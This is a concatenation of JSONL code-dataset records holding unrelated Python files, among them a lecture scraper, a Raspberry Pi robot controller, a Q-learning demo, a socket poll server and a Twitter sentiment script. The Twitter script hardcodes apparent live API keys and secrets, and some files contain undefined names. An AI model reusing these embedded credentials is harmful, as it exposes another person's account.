'audio-vga.m4v'\n\n def get_lecture_time_date(self):\n \"\"\" Returns:\n A tuple (time,date) which is suitable for printing:\n time (str): time and day of video (e.g. \"9AM Monday\")\n date (str): day month year of video (e.g. \"29 July 2015\")\n e.g. (\"9AM Monday\", \"29 July 2015\")\n \"\"\"\n time = self.tree.find('presentation-properties').find('start-timestamp')\n time = datetime.strptime(time.text, \"%d-%b-%Y %H:%M:%S\")\n #Lecture recordings start 2min prior to Lecture time:\n time = time + timedelta(minutes=2)\n date = time.strftime(\"%d %B %Y \")\n time = time.strftime(\"%I%p %A\")\n if time[0] == '0':\n time = time[1:]\n return time, date\n\n def get_lecture_location(self):\n location = self.tree.find('presentation-properties').find('location')\n return location.text\n\n\ndef get_semester_units(year, semester):\n \"\"\"Fetches all units in a given semester and returns a list of\n (unitcode, echo_lcs_url) tuples.\n\n Parameters:\n year (int): two digit abbreviation of Year in which the units ran\n semester (int): Semester in which the units ran (e.g. '1' or '2')\n \"\"\"\n check_date(year=year)\n year = str(year)\n semester = str(semester)\n\n print('Fetching all unit URLs')\n unitHashes = get_hashes_from_dir(BASE_URL + 'sections/')\n #Regex to match with a vaild unit code e.g. ABCD1234\n validUnit = re.compile('[a-zA-Z]{4}[0-9]{4}')\n\n sem_units = []\n print(\"Finding units from 20%s:\"%( year))\n for i, unitHash in tqdm(enumerate(unitHashes),\n total=len(unitHashes),\n unit=\"units\"):\n xml = UnitXML(unitHash)\n if xml.get_year() == year:\n unitCode = xml.get_unit_code()\n if not validUnit.match(unitCode):\n continue\n unitURL = xml.get_unit_url()\n unitInfo = unitCode, unitURL\n sem_units.append(unitInfo)\n return sem_units\n\ndef add_semester_units(year, semester):\n \"\"\"Fetches all units in a given semester and adds them to JSON database.\n Parameters:\n year (int): two digit abbreviation of Year in which the units ran\n semester (int): Semester in which the units ran (e.g. '1' or '2')\n \"\"\"\n sem_units = get_semester_units(year, semester)\n print(\"Adding units to database\")\n for unitInfo in tqdm(sem_units, unit=\"units\"):\n FB.put_async('/units', unitInfo[0], {'URL':unitInfo[1]})\n\ndef get_days_lectures(year, week, day):\n lec_db = list(FB.get('/units', None).keys())\n\n check_year_week_day(year, week, day)\n print('fetching /%02d%02d/%01d'%(year, week, day))\n lec_links = get_hashes_from_dir('%s%02d%02d/%01d'%(BASE_URL,year,week,day))\n for lec in lec_links:\n try:\n xml = LectureXML(year, week, day, lec)\n except urllib.error.HTTPError:\n continue\n unitCode = xml.get_lecture_unit()\n if unitCode in lec_db:\n data = {}\n data[URL] = xml.get_lecture_video_url()\n data[time], data[date] = xml.get_lecture_time_date()\n data[location] = xml.get_lecture_location()\n FB.post_async('/units/'+unitCode, data, params={'print':'silent'})\n","sub_path":"uwa.py","file_name":"uwa.py","file_ext":"py","file_size_in_byte":8145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"463790065","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nimport cv2\nimport numpy as np\nimport threading\nimport gi\nfrom gi.repository import GObject\nimport xmlrpc.client\nfrom xmlrpc.server import SimpleXMLRPCServer\nimport psutil\nimport os\nimport math\nimport io\nimport argparse\nimport datetime\nimport imutils\nimport serial\n\n\n#библиотеки СКТБ\nimport rpicam\nimport RPiPWM\n\n#настройки видеопотока\nFORMAT = rpicam.FORMAT_H264\n#FORMAT = rpicam.FORMAT_MJPEG\nWIDTH, HEIGHT = 640, 360\nRESOLUTION = (WIDTH, HEIGHT)\nFRAMERATE = 30\n\n#сетевые параметры\n#IP = '192.168.42.100'\n#IP = '192.168.42.50' #пульт\nIP = '10.42.0.1' #пульт\nRTP_PORT = 5000 #порт отправки RTP видео\nDEBUG_PORT = 8000 #порт отправки отладочных кадров XML-RPC\nCONTROL_PORT = 9000 #порт XML-RPC управления роботом\n\n#Чувтвительность алгоритма определения линии\nSENSITIVITY = 70\nBASE_SPEED = 30\n\nclass LineFollow(threading.Thread):\n #камера источник кадров, ширина фрейма в кадре, выстота фрейма в кадре, привязка по нижней границе\n def __init__(self, camera, width, height, debugClient):\n threading.Thread.__init__(self)\n self.daemon = True\n self.speedCount = 0\n self._stopped = threading.Event() #событие для остановки потока\n self.camera = camera\n self._frame = None\n self.width = width #width should be less then WIDTH\n self.height = height #height should be less then HEIGHT\n self._newFrameEvent = threading.Event() #событие для контроля поступления кадров\n #отладочный сервер\n self.debugClient = debugClient\n \n def run(self):\n while not self._stopped.is_set():\n self.camera.frameRequest() #отправил запрос на новый кадр\n self._newFrameEvent.wait() #ждем появления нового кадра\n if not (self._frame is None): #если кадр есть\n self._frame = self._frame[0:self.height, 0:self.width]\n res, imgJpg = cv2.imencode('.jpg', resImg) #преобразовал картинку в массив\n if res:\n try:\n self.debugClient.drawCvFrame(imgJpg.tobytes()) #заслал картинку\n except Exception as err:\n print('Fault code:', err.faultCode)\n print('Message :', err.faultString) \n self._newFrameEvent.clear() #сбрасываем событие\n \n print('Line follow stopped')\n\n def stop(self): #остановка потока\n self._stopped.set()\n if not self._newFrameEvent.is_set(): #если кадр не обрабатывается\n self._frame = None\n self._newFrameEvent.set() \n self.join()\n\n def setFrame(self, frame): #задание нового кадра для обработки\n if not self._newFrameEvent.is_set(): #если обработчик готов принять новый кадр\n self._frame = frame\n self._newFrameEvent.set() #задали событие\n return self._newFrameEvent.is_set()\n\n\nclass CpuInfo(threading.Thread):\n def __init__(self, interval, adc):\n threading.Thread.__init__(self)\n self.daemon = True\n self.interval = interval\n self.stopped = threading.Event()\n self.adc = adc\n\n def run(self):\n while not self.stopped.wait(self.interval):\n print ('CPU temp: %.2f°C. CPU use: %.2f%% .Battery: %.2fV' % (rpicam.getCPUtemperature(), psutil.cpu_percent(), self.adc.GetVoltageFiltered()))\n \n def stop(self):\n self.stopped.set()\n \ndef onFrameCallback(frame): #обработчик события 'получен кадр'\n lineFollow.setFrame(frame) #задали новый кадр\n\ndef setSpeed(direction): # драйверы иногда проседают, поэтому пришлось написать костыль\n if direct == 'ahead':\n ser.write(b'A')\n print(\"AAA\")\n elif direct == 'backward':\n ser.write(b'B')\n \n elif direct == 'right':\n ser.write(b'C')\n \n elif direct == 'left':\n ser.write(b'D')\n \n elif direct == 'stop':\n ser.write(b'E')\n return 0 \n\nprint('Start program')\n\nassert rpicam.checkCamera(), 'Raspberry Pi camera not found'\nprint('Raspberry Pi camera found')\n\n# Получаем свой IP адрес\nip = rpicam.getIP()\nassert ip != '', 'Invalid IP address'\nprint('Robot IP address: %s' % ip)\n\nprint('OpenCV version: %s' % cv2.__version__)\n\nprint('initiating Serial communication with Arduino')\ntry:\n ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)\n print('--conneced sucsesfuly')\nexcept:\n print('--cant connected to arduino(')\n\n# создаем объект, который будет работать с АЦП\n# указываем опорное напряжение, оно замеряется на первом пине Raspberry (обведено квадратом на шелкографии)\nadc = RPiPWM.Battery(vRef=3.28)\nadc.start() # запускаем измерения\n\n#нужно для корректной работы системы\nGObject.threads_init()\nmainloop = GObject.MainLoop()\n\n#видеопоток с камеры робота \nrobotCamStreamer = rpicam.RPiCamStreamer(FORMAT, RESOLUTION, FRAMERATE, (IP, RTP_PORT), onFrameCallback)\n#robotCamStreamer = rpicam.RPiCamStreamer(FORMAT, RESOLUTION, FRAMERATE, (IP, RTP_PORT))\n#robotCamStreamer.setFlip(False, True)\nrobotCamStreamer.setRotation(180)\nrobotCamStreamer.start()\n\n#XML-RPC клиент для запуска отладочных процедур\ndebugClient = xmlrpc.client.ServerProxy('http://%s:%d' % (IP, DEBUG_PORT))\n\nfunction = easy.Function((int(HEIGHT), int(WIDTH)))\n\n#контроль линии \nlineFollow = LineFollow(robotCamStreamer, int(WIDTH), int(HEIGHT), debugClient)\nlineFollow.debug = False\nlineFollow.sensitivity = SENSITIVITY\nlineFollow.start()\n\n# XML-RPC сервер управления в отдельном потоке\nserverControl = SimpleXMLRPCServer((ip, CONTROL_PORT)) #запуск XMLRPC сервера\nserverControl.logRequests = False #оключаем логирование\nprint('Control XML-RPC server listening on %s:%d' % (ip, CONTROL_PORT))\n\n# register our functions\nserverControl.register_function(setSpeed)\n\n#запускаем сервер в отдельном потоке\nserverControlThread = threading.Thread(target = serverControl.serve_forever)\nserverControlThread.daemon = True\nserverControlThread.start()\n\n#pапускаем поток выдачи информации о процессоре 1 раз в сек\ncpuInfo = CpuInfo(1, adc)\ncpuInfo.start()\n\n#главный цикл программы \ntry:\n mainloop.run()\nexcept (KeyboardInterrupt, SystemExit):\n print('Ctrl+C pressed')\n\n\n#останов потока выдачи информации о состоянии процессора\ncpuInfo.stop()\n \n#останов сервера\nserverControl.server_close()\n\n#останов контроля линии\nlineFollow.stop()\n\n#останов трансляции камеры\nrobotCamStreamer.stop() \nrobotCamStreamer.close()\n\n#поток по батарее\nadc.stop()\n \nprint('Program over...')\n\n\n","sub_path":"wheel_platform/RPi/board2.py","file_name":"board2.py","file_ext":"py","file_size_in_byte":7709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"580787852","text":"def get_list(nombrearchivo):\n\twith open(nombrearchivo,\"r\") as f:\n\n\t\tlist_of_file = list(f)\n\n\t##### LISTA HOUR_LIST #####\n\n\thour_first_index = 5\n\n\thour_list = [list_of_file[hour_first_index].split()]\n\n\t#obtener cantidad de satelites medidos: bf_index = indice de la linea anterior\n\tdef get_nos(bf_index):\n\t\tnos = hour_list[int(bf_index)][1]\n\t\treturn int(nos)\n\n\t#indice del proximo elemento para hour_list\n\thour_next_index = hour_first_index + 1 + get_nos(-1)\n\n\twhile len(list_of_file) > hour_next_index:\n\t\thour_list.append(list_of_file[hour_next_index].split())\n\t\thour_next_index = hour_next_index + get_nos(-1) + 1\n\n\t##### FIN LISTA HOUR_LIST #####\n\n\t##### LISTA SATELITES #####\n\n\tsat_list = []\n\n\tfor row in list_of_file[6:]:\n\t\tif row.split() not in hour_list:\n\t\t\tsat_list.append(row.split())\n\t\t\tsat_list[-1][-3] = float(sat_list[-1][-3])\n\n\t##### FIN LISTA SATELITES #####\n\n\t##### MERGE #####\n\n\tmerge_list = []\n\n\tfor row in sat_list[0:7]:\n\t\tmerge_list.append(hour_list[0] + row)\n\n\tlast = 7\n\tnum = 7+int(hour_list[1][1])\n\n\tfor row in sat_list[last:num]:\n\t\tmerge_list.append(hour_list[1] + row)\n\n\ti = 2\n\n\twhile i < len(hour_list):\n\t\tlast = num\n\t\tnum = num+int(hour_list[i][1])\n\n\t\tfor row in sat_list[last:num]:\n\t\t\tmerge_list.append(hour_list[i] + row)\n\t\ti = i + 1\n\n\t##### FIN MERGE #####\n\n\tyear, month, day, hour, minute = list_of_file[3].split()\n\n\tfor row in merge_list:\n\t\trow.insert(0,day)\n\t\trow.insert(0,month)\n\t\trow.insert(0,year)\n\n\treturn merge_list\n","sub_path":"source/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"505327755","text":"# comment (everything to the right of the pound symbol): good for reminders\n# documentation (equivalent to readme)\n\n# Words, characters, cannot be operated on, can on be concatenated\nword = \"7\" # string datatype\n\n# Numbers can be operated on (+, -, *, /, %) % is callled \"modulo*\"\nnumber = 7 # INTEGER or int, whole number only\nnumber_2 = 5.5 # float, only with decimals\n\nswitch = True # boolean datatype, can only be True or False \n\nquotient = number / number_2 #Datatype ?? Float - dividing int by float results in a float\nquotient2 = 4 / 2 #Datatype ?? Float - division always results in flaot \n\n# // gives integer division, i.e. the decimal is dropped\nquotient3 = 5 // 2 #Datatype ?? Integer\n\n# conversions\nintConvert = int(4.9) # int() converts to integer, ALWAYS ROUNDS DOWN\n\n#Concatenation - combining two strings together\nstringA = \"hello\"\nstringB = \"world\"\n\nconcatString = stringA + \" \" + stringB\n\n\n","sub_path":"Lesson1.py","file_name":"Lesson1.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"89825778","text":"class Star(object):\n\n global G\n G=6.67*10**(0)\n \n def __init__(self, xpos, ypos,velx=0, mass=1): # Object constructor\n self.pos = PVector(xpos,ypos)\n self.mass = mass\n self.acc = PVector(0,0)\n self.vel = PVector(velx,0)\n self.siz = 5\n \n def show(self): # Display the star on the canvas\n noStroke()\n fill(255)\n ellipse(self.pos.x,self.pos.y,self.siz,self.siz)\n \n def force(self,Star2): # Calculate the force between 2 stars\n r1 = self.pos.copy()\n r = r1.sub(Star2.pos).mult(-1)\n if r.mag()<10:\n r=r.normalize().mult(10)\n F_ = self.mass*Star2.mass*G/(r.mag())**2\n F = r.copy().normalize().mult(F_)\n return F\n \n def accel(self,F): # Find the acceleration on the star due to a force\n self.acc = F.div(self.mass)\n \n #def move(self): # Displace star according to new velocity/acceleration / Old version, less accurate, cf. leapfrog for better version\n # self.vel.add(self.acc)\n # self.pos.add(self.vel)\n \n def update(self,listOfStars): # Updates the position of a star wrt the force of a list of stars\n F = PVector(0,0)\n for i in listOfStars:\n if i!=self:\n F.add(self.force(i))\n self.leapfrog(F)\n #self.accel(F)\n #self.move() # Old versions of position update\n self.show()\n \n def leapfrog(self,F):\n self.pos.add(self.vel).add(self.acc.copy().div(2))\n ai=self.acc.copy()\n self.accel(F)\n self.vel.add(ai.add(self.acc).div(2))\n \n#Exit class\n\n# Define functions that involve objects of the class \n \ndef generateStars(n): # generates n stars in a list\n stars = []\n for i in range(n):\n stars.append(Star(random(200,600),random(200,500),random(-1,1)))\n return stars\n\ndef updateStars(listOfStars):\n for i in listOfStars:\n i.update(listOfStars)\n\ndef com(listOfStars): # transfers to COM frame\n r=PVector(0,0)\n for i in listOfStars:\n r.add(i.pos.copy().mult(i.mass))\n r.div(totalMass(listOfStars))\n for i in listOfStars:\n i.pos.sub(r).add(PVector(width/2,height/2))\n \ndef totalMass(listOfStars):\n tm = 0\n for i in listOfStars:\n tm+=i.mass\n return tm\n\n \n","sub_path":"Main/Star.py","file_name":"Star.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"484989195","text":"import numpy as np\nimport pandas as pd\nimport time\n\n## 各个参数\nN_STATES = 6 # 状态的个数\nACTIONS = ['left', 'right'] # 所有选择\nEPSILON = 0.9 # epsilon-greedy的超参，0.9的概率按价值选择，0.1的概率随机选择\nALPHA = 0.1 # 学习率\nGAMMA = 0.9 # 潜在影响因子，下一步对当前选择的影响因子\nMAX_EPISODES = 13 # 迭代次数\nFRESH_TIME = 0.3 # UI 刷新时间\n\n\n## 建立Q表，全零初始化\ndef build_q_table(n_states, actions):\n table = pd.DataFrame(\n np.zeros((n_states, len(actions))),\n columns=actions\n )\n\n return table\n\n\n## 依据Q表进行选择，epsilon-greedy方式\ndef choose_action(state, q_table):\n state_actions = q_table.iloc[state, :]\n if (np.random.uniform() > EPSILON) or (state_actions.all() == 0):\n action_name = np.random.choice(ACTIONS)\n else:\n action_name = state_actions.argmax()\n return action_name\n\n\n## 依据状态和选择获取下一步状态和奖励\ndef get_env_feedback(S, A):\n if A == 'right':\n if S == N_STATES - 2:\n S_ = 'terminal'\n R = 1\n else:\n S_ = S + 1\n R = 0\n else:\n R = 0\n if S == 0:\n S_ = S\n else:\n S_ = S - 1\n\n return S_, R\n\n\n## UI显示\ndef update_env(S, episoode, step_counter):\n env_list = ['-']*(N_STATES-1) + ['T']\n if S == 'terminal':\n interaction = 'Episode {}: total_steps = {}'.format(episoode+1, step_counter)\n print('\\r{}'.format(interaction), end='')\n time.sleep(2)\n print('\\r ', end='')\n else:\n env_list[S] = 'o'\n interaction = ''.join(env_list)\n print('\\r{}'.format(interaction), end='')\n time.sleep(FRESH_TIME)\n\n\n## Q-Learning算法\ndef RL():\n q_table = build_q_table(N_STATES, ACTIONS) # 建立Q表\n for episode in range(MAX_EPISODES):\n step_counter = 0\n S = 0\n is_terminated = False\n update_env(S, episode, step_counter)\n while not is_terminated:\n A = choose_action(S, q_table) # 做出选择\n S_, R = get_env_feedback(S, A) # 计算下一步的状态和奖励\n q_predict = q_table.loc[S, A] # 当前选择的估计价值？\n if S_ != 'terminal':\n q_target = R + GAMMA*q_table.iloc[S_, :].max() # 当前选择的潜在价值？\n else:\n q_target = R\n is_terminated = True\n\n q_table.loc[S, A] += ALPHA*(q_target - q_predict) # 参数更新\n S = S_ # 状态更新\n\n update_env(S, episode, step_counter+1) # UI更新\n step_counter += 1\n\n return q_table\n\n\nif __name__ == '__main__':\n q_table = RL()\n print('\\r\\n Q-table:\\n')\n print(q_table)","sub_path":"RL/QLearing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"313272545","text":"# 使用poll创建多路复用\nfrom select import *\nfrom socket import *\n\n# 创建套接字\ns = socket(AF_INET,SOCK_STREAM)\ns.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)\ns.bind((\"0.0.0.0\",8888))\ns.listen(5)\n\n# 创建poll对象,由元组组成的列表\np = poll()\n\n# 创建查找字典\nfddic = {s.fileno():s}\n\n# 注册要关注的IO\np.register(s,POLLIN | POLLERR)\n\nwhile True:\n print(\"等待阻塞IO\")\n events = p.poll() # 调用poll类下的实例方法\n for fd,event in events:\n if fd == s.fileno() :\n c,addr=fddic[fd].accept()\n print(\"come from\",addr)\n # 添加新的关注事件\n p.register(c,POLLIN | POLLHUP)\n fddic[c.fileno()] = c\n elif event & POLLIN:\n data = fddic[fd].recv(1024)\n if not data:\n p.unregister(fd)\n fddic[fd].close()\n del fddic[fd]\n else:\n print(\"Recive:\",data.decode())\n fddic[fd].send(\"收到了\".encode())\n\n\n","sub_path":"_3.Webprogramming/Pbase/_1.socket&http/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"227100697","text":"from pyuwds3.types.temporal_relation import TemporalRelation, Event\n\n\nclass Monitor(object):\n def __init__(self, simulator=None, beliefs_base=None):\n self.relations = []\n self.relations_index = {}\n self.simulator = None\n self.beliefs_base = None\n\n def trigger_action(self, subject, action, object=None):\n if object is not None:\n action = Event(subject.id, action, object=object.id)\n print(subject.id[:6] + \" \" + action + \" \" + object.id[:6])\n else:\n action = Event(subject.id, action)\n print(subject.id[:6] + \" \" + action)\n self.relations.append(action)\n\n def start_relation(self, subject, relation, object):\n r = TemporalRelation()\n r.start()\n self.relations.append(r)\n self.relations_index[subject.id+str(relation)+object.id] = len(self.relations)-1\n\n def end_relation(self, subject, relation, object):\n if subject.id+str(relation)+object.id in self.relations_index:\n self.relations[self.relations_index[subject.id+str(relation)+object.id]].end()\n","sub_path":"src/pyuwds3/reasoning/monitoring/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"58386125","text":"import tweepy\nfrom textblob import TextBlob\n\naccess_token = \"174762490-tuao9h9JUa6XLfUlI6GEccEVbws6EGqqcrR9Hagj\"\naccess_token_secret = \"ACSXh9eqjor4N1dGSs7X22AsICiwdGZxWJdBs3ISIfFxI\"\nconsumer_key = \"djrLOs8t6lcUuSVsc3XUaRcqb\"\nconsumer_secret = \"7IK64hAxDxcgHKc7KYsGGOYkGkjHOxYpwhh6hoIbXOANgu33RC\"\n\nauth = tweepy.OAuthHandler(consumer_key,consumer_secret)\nauth.set_access_token(access_token,access_token_secret)\n\napi = tweepy.API(auth)\n\n#search for tweets with election\npublic_tweets = api.search('election')\n\n#sum of the sentiment analysis and also a counter to get the average\nsum_subjectivity = 0\nsum_polarity = 0\ncounter = 0\n\nfor tweet in public_tweets:\n\tprint(tweet.text)\n\tanalysis = TextBlob(tweet.text)\n\tprint(analysis.sentiment)\n\tsum_subjectivity = sum_subjectivity + analysis.sentiment.subjectivity \n\tsum_polarity = sum_polarity + analysis.sentiment.polarity\n\tcounter += 1\n\n\n#Calculates and prints the average of subjetivity and polarity\nprint(\"Average subjectivity is \" + str(sum_subjectivity/counter))\nprint(\"Average polarity is \" + str(sum_polarity/counter) )\n","sub_path":"HW3-StudentCopy/twitterhw3b.py","file_name":"twitterhw3b.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"613642120","text":"import numpy as np\n\nfrom drawing.Drawable import Drawable\n\n\nclass AvgComposite(Drawable):\n\n def __init__(self, title, drawable, *args):\n self.drawable = drawable\n self.args = args\n super(AvgComposite, self).__init__(title, drawable.getN())\n\n def calculateY(self):\n result = self.drawable.y\n for arg in self.args:\n result = result + arg.y\n return result / len(self.args)","sub_path":"compositing/AvgComposite.py","file_name":"AvgComposite.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"170005842","text":"\r\n# 2022-03-01\r\n# 选择价格最低的日子买入，价格最高的日子卖出\r\nclass Solution:\r\n def maxProfit(self, prices):\r\n if not prices:return 0\r\n cost = prices[0]\r\n income = 0\r\n for i in range(1,len(prices)):\r\n income = max(income, prices[i]-cost)\r\n cost = min(cost, prices[i])\r\n return 0\r\n\r\nif __name__ == '__main__':\r\n prices = [7,6,4,3,1]\r\n print(Solution().maxProfit(prices))","sub_path":"18_explore商店/字节跳动/买卖股票的最佳时机.py","file_name":"买卖股票的最佳时机.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"100496651","text":"# Asaf\nimport MakeNetworkxGraph\nimport networkx as nx\n\n# TO DO: fix this file\n\nG = MakeNetworkxGraph.__makegraph__(sep_type='comma', nodes_df_link='../databases/SmallGephiType.csv', weighted=True)\n\n\"\"\" Shortest Path Stuff \"\"\"\nnodes = []\nnodes_lower = []\nfor node in G.nodes:\n nodes.append(node)\n nodes_lower.append(node.lower())\n\nwhile 1:\n source = input('Print shortest path of:\\nSource: ')\n if source.lower() in nodes:\n target = input('Target: ')\n if target.lower() in nodes:\n s_path_length = nx.shortest_path_length(G, source=source, target=target)\n shortest_path = nx.shortest_path(G, source=source, target=target)\n print(\"Path length: %d\" % s_path_length)\n print(\"\\nPath from %s to %s:\\n\" % (source, target), shortest_path)\n else:\n print(\"Target node doesn't exist.\")\n else:\n print(\"Source node doesn't exist.\")\n","sub_path":"NodesViz/Paths.py","file_name":"Paths.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"272065494","text":"import test\nimport re\nfrom common.connections import ContrailConnections\nfrom common import isolated_creds\nfrom vm_test import VMFixture\nfrom vn_test import VNFixture\n\nclass BaseBGPScaleTest(test.BaseTestCase):\n\n @classmethod\n def setUpClass(cls):\n super(BaseBGPScaleTest, cls).setUpClass()\n cls.isolated_creds = isolated_creds.IsolatedCreds(cls.__name__, \\\n\t\t\t\tcls.inputs, ini_file = cls.ini_file, \\\n\t\t\t\tlogger = cls.logger)\n cls.isolated_creds.setUp()\n cls.project = cls.isolated_creds.create_tenant() \n cls.isolated_creds.create_and_attach_user_to_tenant()\n cls.inputs = cls.isolated_creds.get_inputs()\n cls.inputs.set_af('v4')\n #end setUpClass\n\n @classmethod\n def tearDownClass(cls):\n #cls.isolated_creds.delete_user()\n cls.isolated_creds.delete_tenant()\n super(BaseBGPScaleTest, cls).tearDownClass()\n #end tearDownClass \n\n","sub_path":"serial_scripts/control_node_scaling/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"296249154","text":"import pandas as pd\nimport pickle\n\nfrom settings import *\n\nfrom util.scorecard_functions import *\n\nclass PredictionDataGenerator:\n\n def __init__(self):\n\n with open(ROOT_DIR + 'featureEngineering/numericalFeatures.pkl', 'rb') as f1:\n self.numericalFeatures = pickle.load(f1)\n\n with open(ROOT_DIR + 'featureEngineering/categoricalFeatures.pkl', 'rb') as f2:\n self.categoricalFeatures = pickle.load(f2)\n\n with open(ROOT_DIR + 'featureEngineering/bin_dict.pkl', 'rb') as f3:\n self.bin_dict = pickle.load(f3)\n\n with open(ROOT_DIR + 'featureEngineering/featuresInModel.pkl', 'rb') as f4:\n self.featuresInModel = pickle.load(f4)\n print('features in Model:')\n print(self.featuresInModel)\n\n with open(ROOT_DIR + 'featureEngineering/WOE_IV_dict.pkl', 'rb') as f5:\n self.WOE_IV_dict = pickle.load(f5)\n\n with open(ROOT_DIR + 'featureEngineering/badrate0_merged_dict.pkl', 'rb') as f6:\n self.badrate0_merged_dict = pickle.load(f6)\n\n with open(ROOT_DIR + 'featureEngineering/goodrate0_merged_dict.pkl', 'rb') as f7:\n self.goodrate0_merged_dict = pickle.load(f7)\n\n\n def compute_woe(self, df, var):\n new_var = var + '_WOE'\n print(new_var)\n df[new_var] = df[var].map(lambda x : self.WOE_IV_dict[new_var]['WOE'][x])\n\n def categorical_feature_encoding(self, df):\n print('categorical feature encoding:')\n not_monotone = ['auth_level', 'network_len','identity_city_classification',\n 'phone_city_classification','br_score_classification','user_age_classification']\n #1. badrate不单调的类别特征进行合并，在符合业务逻辑前提下保证badrate单调性\n df['auth_level_Bin'] = df['auth_level']\\\n .apply(lambda x: MergeByCondition(x, ['var == 0','var == 1', 'var == 2', 'var >= 3']))\n df['network_len_Bin'] = df['network_len']\\\n .apply(lambda x : MergeByCondition(x, ['var == 0', 'var == 1', 'var >= 2']))\n df['identity_city_classification_Bin'] = df['identity_city_classification']\\\n .apply(lambda x : MergeByCondition(x, ['var == 0', 'var == 1', 'var >= 2 and var <= 3', 'var == 4', 'var >= 5']))\n df['phone_city_classification_Bin'] = df['phone_city_classification']\\\n .apply(lambda x : MergeByCondition(x, ['var == 0', 'var >= 1 and var <=2', 'var == 3', 'var == 4', 'var >= 5']))\n df['br_score_classification_Bin'] = df['br_score_classification']\\\n .apply(lambda x : MergeByCondition(x, ['var == 0', 'var >= 1 and var <= 2', 'var == 3']))\n df['user_age_classification_Bin'] = df['user_age_classification']\\\n .apply(lambda x : MergeByCondition(x, ['var == 0', 'var == 1', 'var >= 2']))\n\n self.compute_woe(df, 'auth_level_Bin')\n self.compute_woe(df, 'network_len_Bin')\n self.compute_woe(df, 'identity_city_classification_Bin')\n self.compute_woe(df, 'phone_city_classification_Bin')\n self.compute_woe(df, 'br_score_classification_Bin')\n self.compute_woe(df, 'user_age_classification_Bin')\n\n #2.对于其他类别变量，需要进一步检测每个bin是否存在零坏样本或零好样本的情况，如果存在则需要进行merge\n for key, value in self.badrate0_merged_dict.items():\n var = key\n merged_dict = value\n df[var] = df[var].map(lambda x : badrate0_dict_map(x, merged_dict))\n\n for key, value in self.goodrate0_merged_dict.items():\n var = key\n merged_dict = value\n df[var] = df[var].map(lambda x : badrate0_dict_map(x, merged_dict))\n\n #3.最后对于类别变量进行woe编码计算\n for var in self.categoricalFeatures:\n if var not in not_monotone:\n self.compute_woe(df, var)\n\n\n def numerical_feature_encoding(self, df):\n crossFeatures = pd.read_excel(FE_DIR + 'cross_features.xlsx')['feature']\n print('numerical feature encoding:')\n #对于连续变量，参照预训练好的bin_dict分箱模型， 对于每个连续变量进行bin划分后 进行woe编码计算\n modelFeatures = [i.replace('_Bin','').replace('_WOE','') for i in self.featuresInModel]\n for var in [f for f in self.numericalFeatures + list(crossFeatures) if f in modelFeatures]:\n newBin = var + \"_Bin\"\n print(newBin)\n #bin = [i.values() for i in self.bin_dict if var in i][0][0]\n bin = [i[var] for i in self.bin_dict if var in i][0]\n df[newBin] = df[var].apply(lambda x: AssignBin(x, bin))\n\n self.compute_woe(df, newBin)\n\n def feature_transform(self, df):\n print('transform features:')\n\n def data_generate(self, predict_df):\n\n self.categorical_feature_encoding(predict_df)\n\n self.numerical_feature_encoding(predict_df)\n\n print('woe encodered features before feature selection:')\n print(predict_df.columns)\n\n return predict_df[self.featuresInModel]\n\n\nif __name__ == '__main__':\n\n generator = PredictionDataGenerator()\n data_df = pd.read_excel(ROOT_DIR + 'transformed_test.xlsx', encoding='utf-8')\n label_data = data_df[['user_id', 'loan_status']]\n train_WOE_data = generator.data_generate(data_df)\n\n train_WOE_data = pd.concat([label_data, train_WOE_data], axis=1)\n\n print(train_WOE_data.columns)\n\n train_WOE_data.to_excel(FE_DIR + 'test_WOE_data.xlsx', index = None)\n\n","sub_path":"modeling/predict_data_generator.py","file_name":"predict_data_generator.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"173716193","text":"import time\n\n\ndef measure_elapsed_time(func):\n func_name = func.__name__\n\n def wrapper(*arg1, **kwargs):\n print(f\"calling {func_name}\")\n start_time = time.time()\n result = func(*arg1, **kwargs)\n call_time = time.time() - start_time\n print(f\"{func_name} call took {call_time:.1} seconds\")\n return result\n return wrapper\n\n\n@measure_elapsed_time\ndef my_fn1(arg1, arg2):\n time.sleep(0.5)\n return arg1 + arg2\n\n\n@measure_elapsed_time\ndef my_fn2():\n time.sleep(0.8)\n print(\"I do nothing! What a life\")\n\n\n@measure_elapsed_time\ndef my_fn3(arg1, **kwargs):\n time.sleep(0.3)\n print(f\"I also do nothing, but I have arg1 = {arg1} and kwargs = {kwargs}\")\n\n\nprint(\"my_fn1 result:\", my_fn1(1, 2))\nmy_fn2()\nmy_fn3(12, kwarg1='lol', 